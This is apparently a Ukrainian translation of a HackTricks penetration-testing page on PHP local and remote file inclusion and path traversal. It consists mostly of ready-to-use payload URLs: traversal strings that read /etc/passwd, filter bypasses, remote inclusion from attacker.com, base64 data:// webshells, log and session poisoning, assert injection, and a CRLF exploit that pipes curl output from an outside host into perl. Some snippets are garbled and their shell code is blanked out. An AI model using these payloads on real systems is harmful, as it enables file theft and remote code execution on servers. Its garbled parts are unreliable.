# Включення файлів/Перехід по шляхах {{#include ../../banners/hacktricks-training.md}} ## Включення файлів **Віддалене включення файлів (RFI):** Файл завантажується з віддаленого сервера (Найкраще: ви можете написати код, і сервер його виконає). У php це **вимкнено** за замовчуванням (**allow_url_include**).\ **Локальне включення файлів (LFI):** Сервер завантажує локальний файл. Вразливість виникає, коли користувач може якимось чином контролювати файл, який буде завантажено сервером. Вразливі **PHP функції**: require, require_once, include, include_once Цікаві інструменти для експлуатації цієї вразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Сліпий - Цікавий - LFI2RCE файли ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` ### **Linux** **Змішуючи кілька списків LFI для \*nix і додаючи більше шляхів, я створив цей:** {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %} Спробуйте також змінити `/` на `\`\ Спробуйте також додати `../../../../../` Список, який використовує кілька технік для знаходження файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** Злиття різних списків слів: {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %} Спробуйте також змінити `/` на `\`\ Спробуйте також видалити `C:/` і додати `../../../../../` Список, який використовує кілька технік для знаходження файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** Перевірте список LFI для linux. ## Основний LFI та обхід Усі приклади стосуються Local File Inclusion, але можуть бути застосовані і до Remote File Inclusion (сторінка=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` ### послідовності обходу, видалені нерекурсивно ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** Обійти додавання більше символів в кінець наданого рядка (обхід: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` Це **вирішено з PHP 5.4** ### **Кодування** Ви можете використовувати нестандартні кодування, такі як подвійне кодування URL (та інші): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### З існуючої папки Можливо, бекенд перевіряє шлях до папки: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Дослідження каталогів файлової системи на сервері Файлова система сервера може бути досліджена рекурсивно для виявлення каталогів, а не лише файлів, шляхом використання певних технік. Цей процес включає визначення глибини каталогу та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього: 1. **Визначте глибину каталогу:** Визначте глибину вашого поточного каталогу, успішно отримавши файл `/etc/passwd` (застосовується, якщо сервер на базі Linux). Приклад URL може бути структурований наступним чином, вказуючи на глибину три: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` 2. **Дослідження папок:** Додайте назву підозрюваної папки (наприклад, `private`) до URL, а потім перейдіть назад до `/etc/passwd`. Додатковий рівень каталогу вимагає збільшення глибини на одиницю: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` 3. **Інтерпретація результатів:** Відповідь сервера вказує, чи існує папка: - **Помилка / Немає виходу:** Папка `private`, ймовірно, не існує за вказаним місцем. - **Вміст `/etc/passwd`:** Наявність папки `private` підтверджена. 4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи Local File Inclusion (LFI). Для дослідження каталогів у різних місцях файлової системи, відповідно налаштуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` каталог `private` (припускаючи, що поточний каталог знаходиться на глибині 3), використовуйте: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Техніка скорочення шляху** Скорочення шляху - це метод, що використовується для маніпуляції шляхами файлів у веб-додатках. Його часто використовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи в кінець шляхів файлів. Мета полягає в тому, щоб створити шлях до файлу, який, після зміни заходом безпеки, все ще вказує на потрібний файл. У PHP різні представлення шляху до файлу можуть вважатися еквівалентними через природу файлової системи. Наприклад: - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` та `/etc/passwd/` всі розглядаються як один і той же шлях. - Коли останні 6 символів - це `passwd`, додавання `/` (перетворюючи на `passwd/`) не змінює цільовий файл. - Аналогічно, якщо до шляху файлу додається `.php` (як `shellcode.php`), додавання `/.` в кінці не змінить файл, до якого здійснюється доступ. Наведенні приклади демонструють, як використовувати скорочення шляху для доступу до `/etc/passwd`, поширеної цілі через її чутливий вміст (інформація про облікові записи користувачів): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. ``` ``` http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` У цих сценаріях кількість переходів може становити близько 2027, але це число може змінюватися в залежності від конфігурації сервера. - **Використання крапкових сегментів та додаткових символів**: Послідовності переходів (`../`), поєднані з додатковими крапковими сегментами та символами, можуть бути використані для навігації по файловій системі, ефективно ігноруючи додані рядки сервером. - **Визначення необхідної кількості переходів**: Через проби та помилки можна знайти точну кількість послідовностей `../`, необхідних для навігації до кореневої директорії, а потім до `/etc/passwd`, забезпечуючи нейтралізацію будь-яких доданих рядків (як-от `.php`), але залишаючи бажаний шлях (`/etc/passwd`) незмінним. - **Початок з фейкової директорії**: Це поширена практика починати шлях з неіснуючої директорії (як-от `a/`). Ця техніка використовується як запобіжний захід або для виконання вимог логіки парсингу шляхів сервера. При використанні технік скорочення шляхів важливо розуміти поведінку парсингу шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідно тестування, щоб знайти найбільш ефективний метод. **Цю вразливість виправлено в PHP 5.3.** ### **Трюки обходу фільтрів** ``` http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd http://example.com/index.php?page=PhP://filter ``` ## Віддалене включення файлів У php це вимкнено за замовчуванням, оскільки **`allow_url_include`** є **Вимкнено.** Він повинен бути **Увімкнено**, щоб це працювало, і в такому випадку ви могли б включити PHP файл з вашого сервера і отримати RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` Якщо з якоїсь причини **`allow_url_include`** увімкнено, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [згідно з цим постом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете, наприклад, використовувати протокол даних з base64 для декодування b64 PHP коду та отримання RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!NOTE] > У попередньому коді фінальний `+.txt` був доданий, оскільки зловмиснику потрібен рядок, який закінчується на `.txt`, тому рядок закінчується на ньому, а після декодування b64 ця частина поверне просто сміття, і справжній PHP код буде включено (і, отже, виконано). Інший приклад **без використання протоколу `php://`** буде: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` ## Python Root element В Python в коді, подібному до цього: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` Якщо користувач передає **абсолютний шлях** до **`file_name`**, **попередній шлях просто видаляється**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` Це передбачена поведінка відповідно до [документації](https://docs.python.org/3.10/library/os.path.html#os.path.join): > Якщо компонент є абсолютним шляхом, всі попередні компоненти скидаються, і з'єднання продовжується з компонента абсолютного шляху. ## Java Список директорій Схоже, що якщо у вас є Path Traversal в Java і ви **запитуєте директорію** замість файлу, **повертається список директорії**. Це не відбуватиметься в інших мовах (наскільки мені відомо). ## Топ 25 параметрів Ось список з 25 найкращих параметрів, які можуть бути вразливими до локальних вразливостей включення файлів (LFI) (з [посилання](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} ?action={payload} ?board={payload} ?date={payload} ?detail={payload} ?file={payload} ?download={payload} ?path={payload} ?folder={payload} ?prefix={payload} ?include={payload} ?page={payload} ?inc={payload} ?locate={payload} ?show={payload} ?doc={payload} ?site={payload} ?type={payload} ?view={payload} ?content={payload} ?document={payload} ?layout={payload} ?mod={payload} ?conf={payload} ``` ## LFI / RFI за допомогою PHP обгорток та протоколів ### php://filter PHP фільтри дозволяють виконувати базові **операції модифікації даних** перед їх читанням або записом. Є 5 категорій фільтрів: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` - `string.strip_tags`: Видаляє теги з даних (все між символами "<" та ">") - Зверніть увагу, що цей фільтр зник з сучасних версій PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` - `convert.iconv.*` : Перетворює в іншу кодування (`convert.iconv..`). Щоб отримати **список всіх підтримуваних кодувань**, запустіть у консолі: `iconv -l` > [!WARNING] > Зловживаючи фільтром перетворення `convert.iconv.*`, ви можете **генерувати довільний текст**, що може бути корисним для запису довільного тексту або створення функції, яка включає процес довільного тексту. Для отримання додаткової інформації перегляньте [**LFI2RCE через php фільтри**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - `zlib.deflate`: Стискає вміст (корисно, якщо потрібно ексфільтрувати багато інформації) - `zlib.inflate`: Розпаковує дані - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : Застарілий - `mdecrypt.*` : Застарілий - Інші фільтри - Запустивши в php `var_dump(stream_get_filters());`, ви можете знайти кілька **неочікуваних фільтрів**: - `consumed` - `dechunk`: скасовує кодування HTTP chunked - `convert.*` ```php # String Filters ## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd"); ## Same chain without the "|" char echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd"); ## string.string_tags example echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,Boldlalalala"); # Conversion filter ## B64 decode echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8="); ## Chain B64 encode and decode echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd"); ## convert.quoted-printable-encode example echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo="); =C2=A3hellooo=3D ## convert.iconv.utf-8.utf-16le echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo="); # Compresion Filter ## Compress + B64 echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd"); readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] > Частина "php://filter" нечутлива до регістру ### Використання фільтрів php як оракула для читання довільних файлів [**У цьому пості**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) пропонується техніка для читання локального файлу без повернення виходу від сервера. Ця техніка базується на **логічній ексфільтрації файлу (символ за символом) з використанням фільтрів php** як оракула. Це пов'язано з тим, що фільтри php можуть бути використані для збільшення тексту настільки, щоб php викликав виключення. У оригінальному пості ви можете знайти детальне пояснення техніки, але ось швидкий підсумок: - Використовуйте кодек **`UCS-4LE`**, щоб залишити ведучий символ тексту на початку і зробити розмір рядка експоненційно більшим. - Це буде використано для генерації **тексту настільки великого, коли початкова літера вгадана правильно**, що php викличе **помилку**. - Фільтр **dechunk** **видалить все, якщо перший символ не є шістнадцятковим**, тому ми можемо дізнатися, чи є перший символ шістнадцятковим. - Це, в поєднанні з попереднім (і іншими фільтрами в залежності від вгаданої літери), дозволить нам вгадати літеру на початку тексту, спостерігаючи, коли ми робимо достатньо перетворень, щоб вона більше не була шістнадцятковим символом. Тому що, якщо шістнадцятковий, dechunk не видалить його, а початкова бомба викличе помилку php. - Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (так що після цього кодека: a -> b). Це дозволяє нам дізнатися, чи є перша літера `a`, наприклад, тому що якщо ми застосуємо 6 з цього кодека a->b->c->d->e->f->g, літера більше не є шістнадцятковим символом, отже, dechunk не видалив її, і помилка php викликана, оскільки вона множиться з початковою бомбою. - Використовуючи інші перетворення, такі як **rot13** на початку, можливо витікати інші символи, такі як n, o, p, q, r (і інші кодеки можуть бути використані для переміщення інших літер у шістнадцятковий діапазон). - Коли початковий символ є числом, потрібно закодувати його в base64 і витікати 2 перші літери, щоб витікати число. - Остаточна проблема полягає в тому, **як витікати більше, ніж початкова літера**. Використовуючи фільтри порядку пам'яті, такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можливо змінити порядок символів і отримати на першій позиції інші літери тексту. - І для того, щоб мати можливість отримати **додаткові дані**, ідея полягає в тому, щоб **згенерувати 2 байти сміттєвих даних на початку** з **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE**, щоб зробити його **поворотом з наступними 2 байтами**, і **видалити дані до сміттєвих даних** (це видалить перші 2 байти початкового тексту). Продовжуйте це робити, поки не досягнете бажаного біта для витоку. У пості також був витікнутий інструмент для автоматичного виконання цього: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd Цей обгортка дозволяє отримувати доступ до дескрипторів файлів, які процес має відкритими. Потенційно корисно для ексфільтрації вмісту відкритих файлів: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` Ви також можете використовувати **php://stdin, php://stdout та php://stderr** для доступу до **файлових дескрипторів 0, 1 та 2** відповідно (не впевнений, як це може бути корисно в атаці) ### zip:// та rar:// Завантажте файл Zip або Rar з PHPShell всередині та отримайте до нього доступ.\ Щоб мати можливість зловживати протоколом rar, його **необхідно спеціально активувати**. ```bash echo "
" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php http://example.com/index.php?page=zip://shell.jpg%23payload.php # To compress with rar rar a payload.rar payload.php; mv payload.rar shell.jpg; rm payload.php http://example.com/index.php?page=rar://shell.jpg%23payload.php ``` ### data:// ``` http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` Зверніть увагу, що цей протокол обмежений конфігураціями php **`allow_url_open`** та **`allow_url_include`** ### expect:// Expect має бути активовано. Ви можете виконати код, використовуючи це: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// Вкажіть ваш payload у параметрах POST: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` ### phar:// Файл `.phar` може бути використаний для виконання PHP коду, коли веб-додаток використовує функції, такі як `include`, для завантаження файлів. Наведений нижче фрагмент PHP коду демонструє створення файлу `.phar`: ```php startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` Щоб скомпілювати файл `.phar`, потрібно виконати таку команду: ```bash php --define phar.readonly=0 create_path.php ``` При виконанні буде створено файл з назвою `test.phar`, який потенційно може бути використаний для експлуатації вразливостей Local File Inclusion (LFI). У випадках, коли LFI лише виконує читання файлів без виконання PHP-коду всередині, через функції такі як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, або `filesize()`, можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов'язана з читанням файлів за допомогою протоколу `phar`. Для детального розуміння експлуатації вразливостей десеріалізації в контексті файлів `.phar`, зверніться до документа, що наведений нижче: [Phar Deserialization Exploitation Guide](phar-deserialization.md) {{#ref}} phar-deserialization.md {{#endref}} ### CVE-2024-2961 Було можливим зловживати **будь-яким довільним читанням файлів з PHP, що підтримує php фільтри**, щоб отримати RCE. Детальний опис можна [**знайти в цьому пості**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ Дуже короткий підсумок: **3-байтовий переповнення** в купі PHP було зловжито для **зміни ланцюга вільних частин** специфічного розміру, щоб мати можливість **записувати що завгодно за будь-якою адресою**, тому був доданий хуки для виклику **`system`**.\ Було можливим виділяти частини специфічних розмірів, зловживаючи більше php фільтрами. ### Більше протоколів Перевірте більше можливих [**протоколів для включення тут**](https://www.php.net/manual/en/wrappers.php)**:** - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис в пам'ять або в тимчасовий файл (не впевнений, як це може бути корисно в атаці на включення файлів) - [file://](https://www.php.net/manual/en/wrappers.file.php) — Доступ до локальної файлової системи - [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Потоки стиснення - [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Знайти імена шляхів, що відповідають шаблону (не повертає нічого, що можна надрукувати, тому не дуже корисно тут) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Аудіопотоки (не корисно для читання довільних файлів) ## LFI через 'assert' PHP Ризики Local File Inclusion (LFI) в PHP особливо високі при роботі з функцією 'assert', яка може виконувати код у рядках. Це особливо проблематично, якщо вхідні дані, що містять символи обходу директорій, такі як "..", перевіряються, але не очищуються належним чином. Наприклад, код PHP може бути спроектований для запобігання обходу директорій таким чином: ```bash assert("strpos('$file', '..') === false") or die(""); ``` Хоча це має на меті зупинити перетворення, це ненавмисно створює вектор для ін'єкції коду. Щоб використати це для читання вмісту файлів, зловмисник може використовувати: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` Аналогічно, для виконання довільних системних команд можна використовувати: ```plaintext ' and die(system("id")) or ' ``` Важливо **URL-кодувати ці payloads**. ## PHP Blind Path Traversal > [!WARNING] > Ця техніка актуальна в випадках, коли ви **контролюєте** **шлях до файлу** функції **PHP**, яка буде **доступати до файлу**, але ви не побачите вміст файлу (як простий виклик **`file()`**), але вміст не відображається. У [**цьому неймовірному пості**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) пояснюється, як сліпий перехід по шляху може бути зловжито через фільтр PHP для **екстракції вмісту файлу через помилковий оракул**. У підсумку, техніка використовує **"UCS-4LE" кодування**, щоб зробити вміст файлу таким **великим**, що **функція PHP**, що відкриває файл, викличе **помилку**. Потім, щоб витягти перший символ, використовується фільтр **`dechunk`** разом з іншими, такими як **base64** або **rot13**, а в кінці використовуються фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE**, щоб **помістити інші символи на початку та витягти їх**. **Функції, які можуть бути вразливими**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (тільки для читання з цим)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` Для технічних деталей перевірте згаданий пост! ## LFI2RCE ### Remote File Inclusion Пояснено раніше, [**перейдіть за цим посиланням**](./#remote-file-inclusion). ### Через файл журналу Apache/Nginx Якщо сервер Apache або Nginx **вразливий до LFI** всередині функції включення, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, встановивши в **user agent** або в **GET параметрі** php shell, наприклад, **``** і включити цей файл. > [!WARNING] > Зверніть увагу, що **якщо ви використовуєте подвійні лапки** для shell замість **одинарних лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP викине помилку** там, і **нічого іншого не буде виконано**. > > Також переконайтеся, що ви **правильно написали payload**, інакше PHP буде помилятися щоразу, коли намагатиметься завантажити файл журналу, і у вас не буде другої можливості. Це також можна зробити в інших журналах, але **будьте обережні**, код всередині журналів може бути URL-кодований, і це може знищити Shell. Заголовок **authorisation "basic"** містить "user:password" у Base64, і він декодується всередині журналів. PHPShell може бути вставлений у цей заголовок.\ Інші можливі шляхи до журналів: ```python /var/log/apache2/access.log /var/log/apache/access.log /var/log/apache2/error.log /var/log/apache/error.log /usr/local/apache/log/error_log /usr/local/apache2/log/error_log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/httpd/error_log ``` Список слів для Fuzzing: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) ### Через електронну пошту **Надішліть лист** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад ``, і спробуйте включити до листа користувача шляхом, наприклад, **`/var/mail/`** або **`/var/spool/mail/`** ### Через /proc/\*/fd/\* 1. Завантажте багато shell'ів (наприклад: 100) 2. Включіть [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна перебрати) і $FD - дескриптор файлу (також можна перебрати) ### Через /proc/self/environ Як файл журналу, надішліть payload у User-Agent, він буде відображений у файлі /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### Via upload Якщо ви можете завантажити файл, просто вставте в нього shell payload (наприклад: ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` Щоб зберегти файл читабельним, найкраще впроваджувати в метадані зображень/doc/pdf ### Завантаження ZIP файлу Завантажте ZIP файл, що містить стиснутий PHP shell, і отримайте доступ: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` ### Через PHP сесії Перевірте, чи використовує вебсайт PHP сесії (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` У PHP ці сесії зберігаються у файлах _/var/lib/php5/sess\\_\[PHPSESSID]\_ ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` Встановіть cookie на `` ``` login=1&user=&pass=password&lang=en_us.php ``` Використовуйте LFI для включення файлу сесії PHP ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` ### Через ssh Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до **\/.ssh/id_rsa** ### **Через** **vsftpd** _**логи**_ Логи для FTP сервера vsftpd знаходяться в _**/var/log/vsftpd.log**_. У сценарії, де існує вразливість Local File Inclusion (LFI), і доступ до відкритого сервера vsftpd можливий, можна розглянути наступні кроки: 1. Впровадьте PHP payload у поле імені користувача під час процесу входу. 2. Після впровадження використовуйте LFI для отримання логів сервера з _**/var/log/vsftpd.log**_. ### Через фільтр php base64 (використовуючи base64) Як показано в [цьому](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) статті, фільтр PHP base64 просто ігнорує не-base64. Ви можете використовувати це, щоб обійти перевірку розширення файлу: якщо ви надасте base64, яке закінчується на ".php", воно просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` ### Via php filters (no file needed) Цей [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters для генерації довільного контенту** як виходу. Це в основному означає, що ви можете **генерувати довільний php код** для включення **без необхідності записувати** його у файл. {{#ref}} lfi2rce-via-php-filters.md {{#endref}} ### Via segmentation fault **Завантажте** файл, який буде збережено як **тимчасовий** у `/tmp`, потім у **тому ж запиті** викличте **сегментаційну помилку**, і тоді **тимчасовий файл не буде видалено** і ви зможете його знайти. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} ### Via Nginx temp file storage Якщо ви знайшли **Local File Inclusion** і **Nginx** працює перед PHP, ви можете отримати RCE за допомогою наступної техніки: {{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}} ### Via PHP_SESSION_UPLOAD_PROGRESS Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **немає сесії** і `session.auto_start` вимкнено. Якщо ви надасте **`PHP_SESSION_UPLOAD_PROGRESS`** у **multipart POST** даних, PHP **включить сесію для вас**. Ви можете зловживати цим, щоб отримати RCE: {{#ref}} via-php_session_upload_progress.md {{#endref}} ### Via temp file uploads in Windows Якщо ви знайшли **Local File Inclusion** і сервер працює на **Windows**, ви можете отримати RCE: {{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}} ### Via `pearcmd.php` + URL args Як [**пояснюється в цьому пості**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` існує за замовчуванням у php docker образах. Більше того, можливо передавати аргументи до скрипта через URL, оскільки вказано, що якщо параметр URL не має `=`, його слід використовувати як аргумент. Наступний запит створює файл у `/tmp/hello.php` з вмістом ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` Наступне зловживає вразливістю CRLF для отримання RCE (з [**тут**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` ### Через phpinfo() (file_uploads = on) Якщо ви знайшли **Local File Inclusion** і файл, що відкриває **phpinfo()** з file_uploads = on, ви можете отримати RCE: {{#ref}} lfi2rce-via-phpinfo.md {{#endref}} ### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Витік шляху Якщо ви знайшли **Local File Inclusion** і ви **можете ексфільтрувати шлях** до тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи **файл, що включається, має PHP мітки**, ви можете спробувати **обійти цю перевірку** за допомогою цього **Race Condition**: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}} ### Через вічне очікування + брутфорс Якщо ви можете зловживати LFI для **завантаження тимчасових файлів** і змусити сервер **зависнути** виконання PHP, ви могли б тоді **брутфорсити імена файлів протягом годин**, щоб знайти тимчасовий файл: {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} ### До Фатальної Помилки Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Вам потрібно включити той самий файл 2 рази, щоб викликати цю помилку). **Я не знаю, як це може бути корисно, але це може бути.**\ &#xNAN;_Eнавіть якщо ви викликаєте Фатальну Помилку PHP, тимчасові файли PHP, що були завантажені, видаляються._
## Посилання - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\ - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) {% file src="../../images/EN-Local-File-Inclusion-1.pdf" %} {{#include ../../banners/hacktricks-training.md}}